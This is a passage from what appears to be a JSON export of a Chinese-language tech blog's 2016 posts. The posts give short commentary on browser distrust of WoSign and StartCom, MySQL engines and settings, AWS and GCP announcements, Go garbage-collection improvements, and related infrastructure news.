    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 對 <a href=\"https://www.wosign.com/\">WoSign</a> + <a href=\"https://www.startcom.org/\">StartCom</a> 的不信任處分出爐了：「<a href=\"https://blog.mozilla.org/security/2016/10/24/distrusting-new-wosign-and-startcom-certificates/\">Distrusting New WoSign and StartCom Certificates</a>」，最後處分的內容跟之前的討論差不多 (參考先前寫的「<a href=\"https://blog.gslin.org/archives/2016/10/14/6910/mozilla-%E5%B0%8D%E6%96%BC-wosign-startcom-%E6%A0%B9%E6%86%91%E8%AD%89%E7%9A%84%E6%96%B0%E7%99%BC%E5%B1%95%EF%BC%9A%E6%8B%94%E9%99%A4/\">Mozilla 對於 WoSign + StartCom 根憑證的新發展：拔除</a>」)。\r\n\r\nMozilla 台灣有放出中文版的說明 (差不多就是英文翻譯的版本)：「<a href=\"https://blog.mozilla.com.tw/posts/9335/remove-wosign-startcom-ca\">取消對 WoSign 與 StartCom 新簽發憑證的信任</a>」。\r\n\r\n這次比較麻煩的地方在於要信任已經發出的 certificate，而且量太大無法窮舉。所以必須改增加程式碼處理，而這個方法無法對使用 <a href=\"https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/\">Mozilla CA Certificate Store</a> 的人生效 (因為這包套件只是一堆 pem 檔案，沒辦法放特殊的邏輯進去...)\r\n\r\n另外現在 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 是 49 版，要到 51 版才會生效，看起來還會花一陣子...",
    "title": "Mozilla 對 WoSign + StartCom 的正式處分"
  },
  {
    "id": "6935",
    "body": "<a href=\"http://rocksdb.org/\">RocksDB</a> 是 <a href=\"https://www.facebook.com/\">Facebook</a> 從 <a href=\"https://www.google.com/\">Google</a> 放出的 <a href=\"http://leveldb.org/\">LevelDB</a> 改出來，然後被更多人接受並且投注資源的 library... (看兩邊的 <a href=\"https://github.com/\">GitHub</a> 應該就會有感覺了)\r\n\r\n而 Facebook 的人在改進後又花了不少力氣 porting 到 <a href=\"https://dev.mysql.com/\">MySQL</a> 上...\r\n\r\n之前 <a href=\"https://twitter.com/\">Twitter</a> 上就有看到不少消息，這次算是在 <a href=\"https://www.percona.com/\">Percona</a> 官方的 blog 上正式公佈要支援 <a href=\"https://code.facebook.com/posts/190251048047090/myrocks-a-space-and-write-optimized-mysql-database/\">MyRocks</a> 的消息：「<a href=\"https://www.percona.com/blog/2016/10/24/announcing-myrocks-in-percona-server-for-mysql/\">Announcing MyRocks in Percona Server for MySQL</a>」。\r\n\r\n依照目前的計畫次在明年 2017 的 Q1 放出 experimental build，依照 Percona 的品質慣例，應該是可以拿來在測試環境下跑的順順的 (在還沒有 heavy loading 的前提下)：\r\n\r\n<blockquote>We will provide the experimental builds of MyRocks in Percona Server in Q1 2017, and we encourage you to start testing and experimenting so we can quickly release a solid GA version.</blockquote>\r\n\r\n文章下面的 comment 剛好有人提到 Percona 另外一個產品線 <a href=\"https://www.percona.com/software/mysql-database/percona-tokudb\">TokuDB</a>，這兩個產品線重複的問題：\r\n\r\n<blockquote>MyRocks seems pretty similar to TokuDB. They are both write-optimized. MyRocks uses LSM tree while TokuDB uses fractal tree.\r\n\r\nHow do the 2 compare? Which one would you recommend using?</blockquote>\r\n\r\n之前被 Percona 買下的 TokuDB 跟 Facebook 所發展出來的 MyRocks 的產品重複性頗高 (都是為了寫入的部分最佳化)。應該還是因為 <a href=\"https://en.wikipedia.org/wiki/Fractal_tree_index\">fractal tree</a> 與 <a href=\"https://en.wikipedia.org/wiki/Log-structured_merge-tree\">LSM tree</a> 成熟度造成的效能差異還是太明顯吧 (當然另外也跟後面公司投入的資源有關)，讓 Percona 決定還是要支援 MyRocks，而不是全力推動自家買下的 TokuDB... (唔，變成阿斗了？)\r\n\r\n不知道成熟後有沒有機會變成 InnoDB replacement...",
    "title": "Percona 宣佈支援 MyRocks (MySQL 上的 RocksDB engine)"
  },
  {
    "id": "6936",
    "body": "<a href=\"https://aws.amazon.com/route53/\">Amazon Route 53</a> 也宣佈支援 IPv6 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/10/amazon-route-53-now-supports-dns-queries-over-ipv6-networks/\">Amazon Route 53 Now Supports DNS Queries over IPv6 Networks</a>」。\r\n\r\n依照說明應該是無痛切換過去：\r\n\r\n<blockquote>The change is seamless and requires no action from you; your end users and clients can begin making DNS queries over IPv6 immediately.</blockquote>\r\n\r\n不過測了 <code>heroku.com</code> 的 NS RR (拿 <code>ns-405.awsdns-50.com</code> 測試)，還是只有 A record 啊？另外測了其他幾個也是 (反而沒找到已經切過去的？)，不知道是不是分批切換...",
    "title": "Route53 也支援 IPv6 了..."
  },
  {
    "id": "6937",
    "body": "<strong>Update</strong>：被提醒後仔細看了一下，是 1.8 預設生效 (但保留選項切回來 debug)，如果沒問題的話 1.9 把舊的方式拔乾淨：\r\n\r\n<blockquote>Assuming things go smoothly, we will remove stack re-scanning support when the tree opens for Go 1.9 development.</blockquote>\r\n\r\n標題就不改了... 以下原文。\r\n\r\n在「<a href=\"https://groups.google.com/forum/?fromgroups#!topic/golang-dev/Ab1sFeoZg_8\">Sub-millisecond GC pauses</a>」這邊看到的。<a href=\"https://golang.org/\">Golang</a> 想辦法將 GC 造成的影響降低：「<a href=\"https://github.com/golang/proposal/blob/master/design/17503-eliminate-rescan.md\">Proposal: Eliminate STW stack re-scanning</a>」。\r\n\r\n目標是解決最大的 GC pause 來源：\r\n\r\n<blockquote>As of Go 1.7, the one remaining source of unbounded and potentially non-trivial stop-the-world (STW) time is stack re-scanning.</blockquote>\r\n\r\n然後拿新的解法來戰，目前初步的測試看起來可以降到 50µs (== 0.05ms)：\r\n\r\n<blockquote>We propose to eliminate the need for stack re-scanning by switching to a hybrid write barrier that combines a Yuasa-style deletion write barrier [Yuasa '90] and a Dijkstra-style insertion write barrier [Dijkstra '78]. Preliminary experiments show that this can reduce worst-case STW time to under 50µs, and this approach may make it practical to eliminate STW mark termination altogether.</blockquote>\r\n\r\n在「<a href=\"https://github.com/golang/go/issues/17503\">runtime: eliminate stack rescanning · Issue #17503 · golang/go</a>」這邊可以看到進度，現在已經在 master branch 上了，看起來會在 1.9 的時候被放出來... 不過 worst case 的時間上修了 XDDD\r\n\r\n<blockquote>The high level summary is that this reduces worst-case STW time to about 100 µs and typical 95%ile STW time to 50 µs (assuming, of course, that the OS doesn't get in the way and that the system isn't otherwise overloaded). </blockquote>\r\n\r\n但看起來應該還是很大的效能改善，尤其是 CPU bound 的應用？",
    "title": "Go 1.9 的 GC 改善"
  },
  {
    "id": "6939",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 再多花了一些篇幅數對於 <a href=\"https://dev.mysql.com/\">MySQL</a> 資料備份以及確認正確性的方法：「<a href=\"https://code.facebook.com/posts/1007323976059780/continuous-mysql-backup-validation-restoring-backups/\">Continuous MySQL backup validation: Restoring backups</a>」。\r\n\r\n首先是 Continuous Restore Tier (CRT) 這塊，可以看到他們在這塊很仰賴 <a href=\"https://en.wikipedia.org/wiki/HDFS\">HDFS</a> 當作備份的第一層基地，包括了 Full logical backups (用 <a href=\"https://dev.mysql.com/doc/en/mysqldump.html\">mysqldump</a>)、Differential (diff) backups 以及 Binary log (binlog) backups (stream 進 HDFS)。\r\n\r\n另外上了 <a href=\"https://dev.mysql.com/doc/refman/5.7/en/replication-gtids-concepts.html\">GTID</a>，對於後續的處理會比較方便：\r\n\r\n<blockquote>All of our database servers also use global transaction IDs (GTIDs), which gives us another layer of control when replaying transactions from binlog backups.</blockquote>\r\n\r\n在 CRT 這塊可以看到其實是拿現成的工具堆起來，不同單位會因為規模而有不同的作法。真正的重點反而在 ORC Restore Coordinator (ORC) 這塊，可以看到 Facebook 開發了大量的程式將回復這件事情自動化處理：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iLTrv33.webp\" /><img src=\"https://i.gslin.com/imgur/iLTrv33.jpg\" alt=\"\" /></picture>\r\n\r\n在收到回復的需求後，可以看到 Peon 會從 HDFS 拉資料出來，並且用 binlog replay 回去：\r\n\r\n<blockquote>Peons contain all relevant logic for retrieving backups from HDFS, loading them into their local MySQL instance, and rolling them forward to a certain point in time by replaying binlogs. Each restore job a peon works on goes through these five stages[.]</blockquote>\r\n\r\n也是因為 Facebook 對 MySQL 的用量大到需要自動化這些事情，才有這些東西...",
    "title": "Facebook 備份 MySQL 資料並且確認正確性的方法"
  },
  {
    "id": "6940",
    "body": "查資料的時候發現 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a> 的「<a href=\"https://github.com/gorhill/ublock/wiki/static-filter-syntax\">Static filter syntax</a>」已經自己實作 <code>:has()</code> 了 (雖然有一些限制)。\r\n\r\n這個 CSS4 (draft) 的特性目前還沒有瀏覽器支援，所以 uBlock Origin 決定自己來：\r\n\r\n<blockquote>This is a planned CSS4 operator, but no browser supports it yet. I decided to go ahead and implement it so that it can already be used. See The Relational Pseudo-class: :has() in the Selector Level 4/Editor's Draft.</blockquote>\r\n\r\n由於效能問題，要求一定要有 hostname，而不能是 global rule：\r\n\r\n<blockquote>uBO's implementation is simplified so as to ensure performance. The :has operator must be used with at least one hostname (it must be specific), and must be of the form (example)[.]</blockquote>\r\n\r\n這對於 html block 長的幾乎一樣，只有在某個地方多出 <code>Promoted by ...</code> 之類的結構處理起來很方便，可以拿來找出「裡面有廣告 <code>div</code> 的母體 <code>div</code>」然後整包處理掉... (你不會只想要拿掉 <code>Promoted by ...</code>，而是連廣告內容都拿掉)",
    "title": "uBlock Origin 支援的 :has()"
  },
  {
    "id": "6942",
    "body": "<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 也公開了對 <a href=\"https://www.wosign.com/\">WoSign</a> + <a href=\"https://www.startcom.org/\">StartCom</a> 的計畫：「<a href=\"https://security.googleblog.com/2016/10/distrusting-wosign-and-startcom.html\">Distrusting WoSign and StartCom Certificates</a>」。\r\n\r\n由於大家遇到的技術問題都一樣 (之前發出的量太大，無法窮舉表列出來)，所以處理的方法也類似於 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的作法，只信任 2016/10/21 前發出的 certificate：\r\n\r\n<blockquote>Beginning with Chrome 56, certificates issued by WoSign and StartCom after October 21, 2016 00:00:00 UTC will not be trusted.</blockquote>\r\n\r\nGoogle Chrome 目前是 54，所以這表示會在兩個版本後生效。另外特別提出來必須有 CT flag (<a href=\"https://www.certificate-transparency.org/\">Certificate Transparency</a>)，或是在白名單的網站：\r\n\r\n<blockquote>Certificates issued before this date may continue to be trusted, for a time, if they comply with the Certificate Transparency in Chrome policy or are issued to a limited set of domains known to be customers of WoSign and StartCom.</blockquote>\r\n\r\n而因為安全考量，會有某些 certificate 是沒救的情況：(就上面的描述，看起來是指不在白名單內又沒標 CT flag 的)\r\n\r\n<blockquote>Due to a number of technical limitations and concerns, Google Chrome is unable to trust all pre-existing certificates while ensuring our users are sufficiently protected from further misissuance.</blockquote>\r\n\r\n話說 <a href=\"https://www.kernel.org/\">www.kernel.org</a> 從本來的 StartCom 換掉了 (之前都要打 <code>badidea</code> 進去看)，剛剛看是 2016/10/11 簽的憑證...\r\n\r\n這樣除了 Microsoft 還是沒動作外，其他比較大的瀏覽器都到齊了...",
    "title": "Google Chrome 也宣佈不信任 WoSign + StartCom 的計畫"
  },
  {
    "id": "6943",
    "body": "看到「<a href=\"https://github.com/iberianpig/fusuma\">Multitouch gestures with libinput dirver on X11, Linux</a>」這個專案，可以在 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a>/<a href=\"https://en.wikipedia.org/wiki/X_Window_System\">X11</a> 下偵測到多點觸控，然後設定對應的按鍵，從他的設定檔就可以看到這套軟體的功能了：\r\n\r\n<pre>swipe:\r\n  3: \r\n    left: \r\n      shortcut: 'alt+Right'\r\n    right: \r\n      shortcut: 'alt+Left'\r\n    up: \r\n      shortcut: 'ctrl+t'\r\n    down: \r\n      shortcut: 'ctrl+w'\r\n  4:\r\n    left: \r\n      shortcut: 'super+Right'\r\n    right: \r\n      shortcut: 'super+Left'\r\n    up: \r\n      shortcut: 'super+a'\r\n    down: \r\n      shortcut: 'super+s'\r\npinch:\r\n  in:\r\n    shortcut: 'ctrl+plus'\r\n  out:\r\n     shortcut: 'ctrl+minus'</pre>\r\n\r\n不知道實際跑起來如何 @_@",
    "title": "Linux 下多點觸控的設定"
  },
  {
    "id": "6944",
    "body": "<a href=\"https://medium.com/\">Medium</a> 會在網址上串上 <a href=\"https://en.wikipedia.org/wiki/Fragment_identifier\">Fragment identifier</a> (就是井號 <code>#</code> 後面那一串)，而這件事情一直頗讓人惱怒...\r\n\r\n網路上查到的幾個解法都是針對 <code>medium.com</code> 再做一次 <code>replaceState()</code> 把 hash mark 拔掉，但這對於使用自訂網址而且 hosting 在 Medium 的網站就沒用了 (因為網域不在 <code>medium.com</code> 下)，但一時間沒想到比較好的解法...\r\n\r\n今天下午突然想到應該可以擋下 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/History_API\">replaceState()</a> 來做，就花了些時間研究一下 Medium 的實作方法，然後用 Greasemonkey script 寫了一個 prototype，看起來有達到需求：「<a href=\"https://openuserjs.org/scripts/gslin/Medium_Hash_Cleaner\">Medium Hash Cleaner</a>」，程式碼可以在 <a href=\"https://openuserjs.org/scripts/gslin/Medium_Hash_Cleaner/source\">source page</a> 頁直接看到 (沒幾行)。\r\n\r\n想法是透過 <code>@run-at</code> 指定在 <code>document-end</code> 時執行，然後掃描目前所有的 <code>script</code> tag，如果有找到 Medium 相關的 js 就把 <code>window.history.replaceState()</code> 換掉，這樣比較不會造成系統負擔。\r\n\r\n先把這個想法跑一陣子看看... 沒問題就來寫 Chrome extension？",
    "title": "拔掉 Medium 網站出現的 Hash Mark"
  },
  {
    "id": "6946",
    "body": "<a href=\"https://labs.vmware.com/flings/vsphere-html5-web-client\">vSphere HTML5 Web Client</a> 算是 <a href=\"https://www.vmware.com/\">VMware</a> 對 HTML5 的嘗試，在 HTML5 技術夠彈性的情況下避開使用 Flash 技術的 Web Client。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kvgGoKD.webp\" /><img src=\"https://i.gslin.com/imgur/kvgGoKD.jpg\" alt=\"\" /></picture>\r\n\r\n就畫面上看起來還不錯... 基本的操作應該可以搞定了，之後應該有機會可以拿來玩看看 :o",
    "title": "VMware 的 vSphere HTML5 Web Client"
  },
  {
    "id": "6947",
    "body": "<a href=\"https://deepmind.com/\">DeepMind</a> 宣佈與 <a href=\"http://www.blizzard.com/\">Blizzard</a> 合作，開發了 <a href=\"https://www.battle.net/sc2/\">Star Craft II</a> 的界面讓 AI 可以操作：「<a href=\"https://deepmind.com/blog/deepmind-and-blizzard-release-starcraft-ii-ai-research-environment/\">DeepMind and Blizzard to release StarCraft II as an AI research environment</a>」：\r\n\r\n<blockquote>Today at BlizzCon 2016 in Anaheim, California, we announced our collaboration with Blizzard Entertainment to open up StarCraft II to AI and Machine Learning researchers around the world.</blockquote>\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/5iZlrBqDYPM\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n這次比起圍棋更有意義的地方在於，圍棋是在完整資訊的情況下做出決策，但真實世界中經常是沒有完整的資訊就要做決策，這次的 StartCraft II 類似於這樣的環境，更接近於現實生活的情境：\r\n\r\n<blockquote>StarCraft is an interesting testing environment for current AI research because it provides a useful bridge to the messiness of the real-world. The skills required for an agent to progress through the environment and play StarCraft well could ultimately transfer to real-world tasks.</blockquote>\r\n\r\n另外考慮到電腦可以無限制精細操作每個單位，而人類有「操作速度」的問題，在規劃上會設限每分鐘可以操作的速度：\r\n\r\n<blockquote>Computers are capable of extremely fast control, but that doesn’t necessarily demonstrate intelligence, so agents must interact with the game within limits of human dexterity in terms of “Actions Per Minute”.</blockquote>\r\n\r\n來拉板凳繼續看下去...",
    "title": "DeepMind 跟 Blizzard 合作攻略 StarCraft II"
  },
  {
    "id": "6948",
    "body": "大概是新的 <a href=\"https://www.apple.com/macbook/\">Macbook</a> 出來後想出來的點子？透過 <a href=\"https://en.wikipedia.org/wiki/Touch_ID\">Touch ID</a> 驗證 <a href=\"https://www.sudo.ws/\">sudo</a> 權限：「<a href=\"https://github.com/mattrajca/sudo-touchid\">A fork of `sudo` with Touch ID support.</a>」。\r\n\r\n<blockquote>sudo-touchid is a fork of sudo with Touch ID support on macOS (powered by the LocalAuthentication framework). Once compiled, it will allow you to authenticate sudo commands with Touch ID in the Terminal on supported Macs (such as the late 2016 MacBook Pros).</blockquote>\r\n\r\n這點子好像還不錯 XDDD",
    "title": "配合 Touch ID 的 sudo"
  },
  {
    "id": "6949",
    "body": "<a href=\"https://www.bitmain.com/\">Bitmain</a> 做到打算直接弄一座 data center 來挖 <a href=\"https://bitcoin.org/\">Bitcoin</a>：「<a href=\"https://thestack.com/data-centre/2016/11/08/chinese-firm-building-135mw-bitcoin-data-centre/\">Chinese firm building 135MW bitcoin data centre</a>」。居然還是用綠色能源來玩出全世界第三大吃電資料中心：\r\n\r\n<blockquote>The complex, which will be capable of pulling 135 megawatts of power placing it at #3 of the most powerful data centres in the world, will operate primarily on wind and solar power.</blockquote>\r\n\r\nBitmain 的 <a href=\"https://www.antpool.com/\">AntPool</a> 應該是目前最大的 mining pool：\r\n\r\n<blockquote>Bitmain already controls an estimated 18.6% of hashpower worldwide, and many independent miners in the community expressed concern that controlling a massive data centre dedicated to mining bitcoin would give the company too much influence over bitcoin.</blockquote>\r\n\r\n關於 AntPool 佔整個 pool 的計算力這邊是寫 18.6%，不過照「<a href=\"https://blockchain.info/pools\">Bitcoin Hashrate Distribution</a>」這邊的資料，目前降到 17.4% 了... 而我記得各種攻擊手法中，最低的應該是 25% 的攻擊：「<a href=\"https://arxiv.org/abs/1311.0243\">Majority is not Enough: Bitcoin Mining is Vulnerable</a>」，不知道會不會超過...",
    "title": "Bitmain 的生意愈做愈大了..."
  },
  {
    "id": "6951",
    "body": "<a href=\"https://www.tumblr.com/\">Tumblr</a> 發表了一篇在導入 <a href=\"https://secure.php.net/manual/en/migration70.new-features.php\">PHP 7</a> 後的感想：「<a href=\"https://engineering.tumblr.com/post/152998126990/php-7-at-tumblr\">PHP 7 at Tumblr</a>」。從這兩張圖就可以看得很明白了，<a href=\"https://www.yahoo.com/\">Yahoo!</a> 的工程師很滿意結果：\r\n\r\n<div style=\"clear:both;\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/eHSx40Sm.webp\" /><img src=\"https://i.gslin.com/imgur/eHSx40Sm.jpg\" alt=\"\" style=\"float:left;\" /> <picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fWL6Bxxm.webp\" /><img src=\"https://i.gslin.com/imgur/fWL6Bxxm.jpg\" alt=\"\" style=\"float:left;\" /></picture></picture></div>\r\n\r\n又多了一個推薦的評價...",
    "title": "Tumber 的 PHP 7"
  },
  {
    "id": "6952",
    "body": "<a href=\"https://dev.mysql.com/\">MySQL</a> 的 Query Cache 是目前已知效能不好的主要因素之一 (global mutex lock 的緣故)，在正式環境裡的 best practice 一般都是關閉，之前測過也是一開下去效能就會狂掉...\r\n\r\n而 <a href=\"https://www.percona.com/\">Percona</a> 的人在討論要怎麼樣才能完全關閉 MySQL 的 Query Cache：「<a href=\"https://www.percona.com/blog/2016/11/11/is-your-query-cache-really-disabled/\">Is Your Query Cache Really Disabled?</a>」，而他們發現只有在 <code>query_cache_type</code> 與 <code>query_cache_size</code> 都設為 0，而且重開 MySQL 才能完全避免 global mutex lock：\r\n\r\n<blockquote>[W]e can see it is not possible to fully disable the query cache on the fly by changing <code>query_cache_type</code> or/and <code>query_cache_size</code> to 0. Based on the code and the tests, if you want to make sure the query cache is fully disabled, change <code>query_cache_size</code> and <code>query_cache_type</code> to 0 and restart MySQL.</blockquote>\r\n\r\n應該是要再修正 <code>my.cnf</code> 的 template 了...",
    "title": "關閉 MySQL 的 Query Cache"
  },
  {
    "id": "6953",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈把 gp2 的 I/O burst credit 數字給量化了：「<a href=\"https://aws.amazon.com/blogs/aws/new-burst-balance-metric-for-ec2s-general-purpose-ssd-gp2-volumes/\">New – Burst Balance Metric for EC2’s General Purpose SSD (gp2) Volumes</a>」。\r\n\r\ngp2 最小的也可以衝到 3000 IOPS，另外可以累積 5.4M credits：\r\n\r\n<blockquote>Each volume can accumulate up to 5.4 million credits, and they can be spent at up to 3,000 per second per volume.</blockquote>\r\n\r\n算了一下，1GB 的空間一個小時可以累積 10,800 IOPS，如果切 10GB 的系統碟，大約 50 個小時就會滿。如果 100GB 的話就是 5 個小時了，其實對於真的超級大量持續 I/O 的應用還是要考慮用 Provisioned IOPS SSD (io1)。\r\n\r\n不過明顯的好處是可以建立 alarm，當機器的 burst I/O credit 快用完的時候可以叫一叫，這樣讓人可以評估下一步：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/n80wxqJ.webp\" /><img src=\"https://i.gslin.com/imgur/n80wxqJ.jpg\" alt=\"\" /></picture>\r\n\r\n另外也可以藉由這個數字來評估是要加大空間以換取 IOPS，或是換到有保障的 Provisioned IOPS SSD (io1)。",
    "title": "AWS 的 General Purpose SSD (gp2) 可以看到 burst I/O 的 credit 數字了"
  },
  {
    "id": "6954",
    "body": "<a href=\"http://www.scylladb.com/\">ScyllaDB</a> 最近發行了 Scylla 1.4 與 1.4.1：「<a href=\"http://www.scylladb.com/2016/11/01/release-1.4/\">Scylla release: version 1.4</a>」與「<a href=\"http://www.scylladb.com/2016/11/08/release-1.4.1/\">Scylla release: version 1.4.1</a>」，另外也整理出 <a href=\"https://www.docker.com/\">Docker</a> 版本：「<a href=\"http://www.scylladb.com/2016/11/09/scylla-on-docker/\">Scylla on Docker</a>」。\r\n\r\n可以從 1.4 的公告裡面看到功能愈來愈完整了，在導入其他跟 <a href=\"https://cassandra.apache.org/\">Cassandra</a> 配合的軟體應該會愈來愈順，而且就之前用 <a href=\"https://prestodb.io/\">Presto</a> 而去 Scylla 的 <a href=\"https://github.com/\">GitHub</a> 上回報問題的經驗，Scylla 的人對於能夠生出可重製的 bug report 還蠻重視的，解決速度都還算合理...\r\n\r\n另外提供 Docker image 也讓想要測試的人變方便...",
    "title": "Scylla 1.4 系列的發佈"
  },
  {
    "id": "6955",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 在「<a href=\"https://blog.linode.com/2016/11/02/network-update-multihomed-increased-transit-peering/\">Network Update: Multihomed, Increased Transit, Peering</a>」這邊提到：\r\n\r\n<blockquote>We’re opening a brand new Tokyo facility next month. This will enable customers in the region to take advantage of several recent Linode announcements: KVM hypervisor, our latest plan specs including double the RAM and SSD servers, and mass availability. Stay tuned for the announcement within the next few weeks.</blockquote>\r\n\r\n總算是要開放了...",
    "title": "Linode 東京第二機房預定在十二月開放"
  },
  {
    "id": "6957",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 例行性的降價，不同種類的機器在不同區有不同的降幅 (不過這次降價的都是新的機器類型，i.e. C4/M4/T2)：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-price-reduction-c4-m4-and-t2-instances/\">EC2 Price Reduction (C4, M4, and T2 Instances)</a>」。\r\n\r\n<blockquote>C4 – Reductions of up to 5% in US East (Northern Virginia) and EU (Ireland) and 20% in Asia Pacific (Mumbai) and Asia Pacific (Singapore).</blockquote>\r\n\r\n印度與新加坡的降幅 20% 是比較明顯的...\r\n\r\n<blockquote>M4  – Reductions of up to 10% in US East (Northern Virginia), EU (Ireland), and EU (Frankfurt) and 25% in Asia Pacific (Singapore).</blockquote>\r\n\r\n新加坡的 25%...\r\n\r\n<blockquote>T2 – Reductions of up to 10% in US East (Northern Virginia) and 25% in Asia Pacific (Singapore).</blockquote>\r\n\r\n新加坡再次 25%，所以對於新加坡來說，所有的機器都降了... 是談到比較好的電費嗎？就這樣的資訊猜不出來後面的原因...",
    "title": "Amazon EC2 的降價"
  },
  {
    "id": "6958",
    "body": "<a href=\"https://cloud.google.com/\">Google Cloud Platform</a> (GCP) 提供帶有 GPU 的 instance 了：「<a href=\"https://cloudplatform.googleblog.com/2016/11/announcing-GPUs-for-Google-Cloud-Platform.html\">Announcing GPUs for Google Cloud Platform</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ERwDlyu.webp\" /><img src=\"https://i.gslin.com/imgur/ERwDlyu.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到相較於 <a href=\"https://aws.amazon.com/\">AWS</a> 只有 <a href=\"https://www.nvidia.com/\">nVidia</a> 的方案，多了 <a href=\"https://www.amd.com/\">AMD</a> 的 GPU 硬體可以用...",
    "title": "GCP 提供 GPU 服務了..."
  },
  {
    "id": "6960",
    "body": "由於架構的隔離政策，有些服務需要透過 VM 裡面的 <a href=\"https://www.microsoft.com/windows/\">Windows</a> 存取，所以又花了點時間看看 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\">PuTTY</a> 到底有沒有改善下載問題，也就是 2014 年「<a href=\"https://noncombatant.org/2014/03/03/downloading-software-safely-is-nearly-impossible/\">Downloading Software Safely Is Nearly Impossible</a>」這邊作者提到的問題 (之前在「<a href=\"https://blog.gslin.org/archives/2014/03/09/4347/%E5%A6%82%E4%BD%95%E5%AE%89%E5%85%A8%E4%B8%8B%E8%BC%89%E8%BB%9F%E9%AB%94/\">如何安全下載軟體...</a>」這篇有提過)。\r\n\r\n而即時再過了兩年半，還是沒辦法確認你抓到的 PuTTY 是正確的，<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 還是沒上...\r\n\r\n找了一些替代方案，看到 <a href=\"https://mremoteng.org/\">mRemoteNG</a> 這個可以連多種不同 Protocol 的專案，應該會是解法，裝起來用了一陣子感覺還算 okay，之後應該會拿這個用：「<a href=\"https://github.com/mRemoteNG/mRemoteNG\">mRemoteNG is the next generation of mRemote, open source, tabbed, multi-protocol, remote connections manager.</a>」。\r\n\r\n話說回來，找資料的時候發現「<a href=\"https://lists.tartarus.org/pipermail/tartarus-commits/2016-March/012685.html\">simon-git: putty-website (master): Owen Dunn</a>」這篇，在三月提到了：\r\n\r\n<blockquote>Switch to https for release binary downloads from the.earth.li\r\n    \r\nThe main PuTTY website is still http until chiark sorts out\r\nLetsEncrypt or other SSL arrangements, but I think we can sensibly\r\nswitch to https for the release binaries from the, which already\r\nprovides https.</blockquote>\r\n\r\n後續好像就沒有進度了...",
    "title": "用 mRemoteNG 取代 PuTTY"
  },
  {
    "id": "6961",
    "body": "在明年一月的 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 56 將會停止支援 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> SSL Certificate：「<a href=\"https://security.googleblog.com/2016/11/sha-1-certificates-in-chrome.html\">SHA-1 Certificates in Chrome</a>」，唯一的例外是自己建立的 CA，主要是給企業內部用的：\r\n\r\n<blockquote>Starting with Chrome 54 we provide the <code>EnableSha1ForLocalAnchors</code> policy that allows certificates which chain to a locally installed trust anchor to be used after support has otherwise been removed from Chrome.</blockquote>\r\n\r\n但安全性的標示不會是綠色的鎖頭：\r\n\r\n<blockquote>Features which require a secure origin, such as geolocation, will continue to work, however pages will be displayed as “neutral, lacking security”.</blockquote>\r\n\r\n使用 SHA-1 程式碼的完全移除預定在 2019 年 (大約兩年多)：\r\n\r\n<blockquote>Since this policy is intended only to allow additional time to complete the migration away from SHA-1, it will eventually be removed in the first Chrome release after January 1st 2019.</blockquote>\r\n\r\n但如果對 SHA-1 攻擊有重大突破的話也會考慮提前：\r\n\r\n<blockquote>We may also remove support before 2019 if there is a serious cryptographic break of SHA-1.</blockquote>",
    "title": "Google Chrome 將在 2017 的 56 版停止支援 SHA-1 SSL Certificate"
  },
  {
    "id": "6962",
    "body": "英國前幾天通過了最激烈的隱私侵犯法案，要求 ISP 必須記錄使用者觀看過的網站：「<a href=\"http://www.zdnet.com/article/snoopers-charter-expansive-new-spying-powers-becomes-law/\">Britain has passed the 'most extreme surveillance law ever passed in a democracy'</a>」：\r\n\r\n<blockquote>The law forces UK internet providers to store browsing histories -- including domains visited -- for one year, in case of police investigations.</blockquote>\r\n\r\n不愧是 <a href=\"https://en.wikipedia.org/wiki/George_Orwell\">George Orwell</a> 生前的國家，居然先實現了他的理想國... 接下來 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 與 <a href=\"https://torproject.org/\">Tor</a> 的重要性就更高了。",
    "title": "英國通過法案要求 ISP 記錄使用者觀看過的網站"
  },
  {
    "id": "6964",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 每一季都會 release 對應的使用狀況：「<a href=\"https://www.backblaze.com/blog/hard-drive-failure-rates-q3-2016/\">Hard Drive Stats for Q3 2016: Less is More</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jM1z1Dj.webp\" /><img src=\"https://i.gslin.com/imgur/jM1z1Dj.jpg\" alt=\"\" /></picture>\r\n\r\n只看量比較大的 (超過一千顆)，可以發現 <a href=\"https://www.hgst.com/\">HGST</a> 的年度存活率超級漂亮，不過在台灣不好買...",
    "title": "Backblaze 在 2016Q3 的硬碟存活成果"
  },
  {
    "id": "6965",
